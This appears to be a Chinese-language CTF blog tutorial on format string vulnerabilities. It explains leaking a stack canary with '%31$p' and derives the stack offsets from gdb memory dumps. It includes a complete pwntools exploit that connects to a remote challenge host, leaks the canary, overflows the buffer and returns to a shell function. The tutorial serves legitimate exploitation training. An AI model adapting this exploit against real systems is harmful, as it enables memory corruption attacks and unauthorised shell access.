文章

PWN 格式化字符串漏洞

PWN 格式化字符串漏洞

作用

  • 使程序崩溃
  • 查看栈内容 (绕过栈保护)
  • 任意地址读写

任意读 printf(“%3$d”, 1,2,3); printf(“%s %s %s”) 当不给参数时,会尝试读取栈上的数据

任意写 int count = 0; printf(“%n”, &count); %n 一次性写入4个字节 %hn 2个字节 %hhn 一个字节

绕过Canary保护

原理使用print读取canary的值,并重新放回去 或者爆破

确定canary位置的偏移,以及canary到返回地址的偏移 在ida反编译后 xor jz call 的位置就是比较canary的值

alt text

这是栈空间布局

gdb 反编译确定 canary偏移

gdb-peda$ x $rbp-0x8
0x7fffffffe118: 0x589dbe7c0a8cea00
gdb-peda$ x/50xg $rsp
0x7fffffffe048: 0x00000000004007c2      0x0000000061616161
0x7fffffffe058: 0x0000000000000000      0x0000000000000000
0x7fffffffe068: 0x0000000000000000      0x0000000000000000
0x7fffffffe078: 0x0000000000000000      0x000000000000000c
0x7fffffffe088: 0x0000000000000040      0x0000000000140000
0x7fffffffe098: 0x000000000000000a      0x0000000000000040
0x7fffffffe0a8: 0x000000000000000c      0x0000000001800000
0x7fffffffe0b8: 0x0000000000000040      0x0000000000000002
0x7fffffffe0c8: 0x8000000000000006      0x0000000000000000
0x7fffffffe0d8: 0x0000000000000000      0x0000000000000000
0x7fffffffe0e8: 0x0000000000000000      0x0000000000000000
0x7fffffffe0f8: 0x0000000000000000      0x0000000000000000
0x7fffffffe108: 0x00007ffff7fe6900      0x0000000000000000
0x7fffffffe118: 0x589dbe7c0a8cea00      0x0000000000000001
0x7fffffffe128: 0x00007ffff7df06ca      0x00007fffffffe220

%p 按16进制输出数据 8位读取

偏移是26,为什么是26? 因为要用%p打印 %p要打印的是一个地址,也就是相差26个地址的长度 一个长度为8字节

0x7fffffffe118 - 0x7fffffffe048 / 8 = 26

0x0000000061616161 前面一个 0x589dbe7c0a8cea00 后面一个

26 + 6 - 1

因为距离 26 且 前六个参数是入 寄存器,所以+6 , -1 是第31位是我们要打印的内容

而 到返回地址的距离是

0x7fffffffe128 - 0x7fffffffe118 - 1

-1 不算返回地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
# io = process("./format_canary2")
io = remote("120.46.59.242", 2058)
context(arch="amd64", os="linux")

leak = b"%31$p"
io.sendline(leak)
# 0x6bb33d2e7d015c00 == 18
canary = int(io.recv(18)[2:],16)
print(canary)

getshell_addr = 0x0000000000400805


padding = 0xD0 - 8
delim = 8
# 为什么 -8 根据 ida 你会发现 字符数组才200 为什么0xD0是208 因为 要错出 8个字节为 canary 留位置

payload = b'a'*padding + p64(canary) + b'a'*delim + p64(getshell_addr)

io.sendline(payload)
io.interactive()

26 , 31 这些都是什么?

栈上不仅有函数参数,还有数组的位置

26 是 栈上数组 到 canary的位置

而 31 是为了读取 栈上 canary的值

31 是怎么来的呢?

printf(“%31$p”)

前 6 个 %p 会去读 寄存器

后 25 个 读的就是 栈上数组的里的了,第26个是 cannary

本文由作者按照 CC BY 4.0 进行授权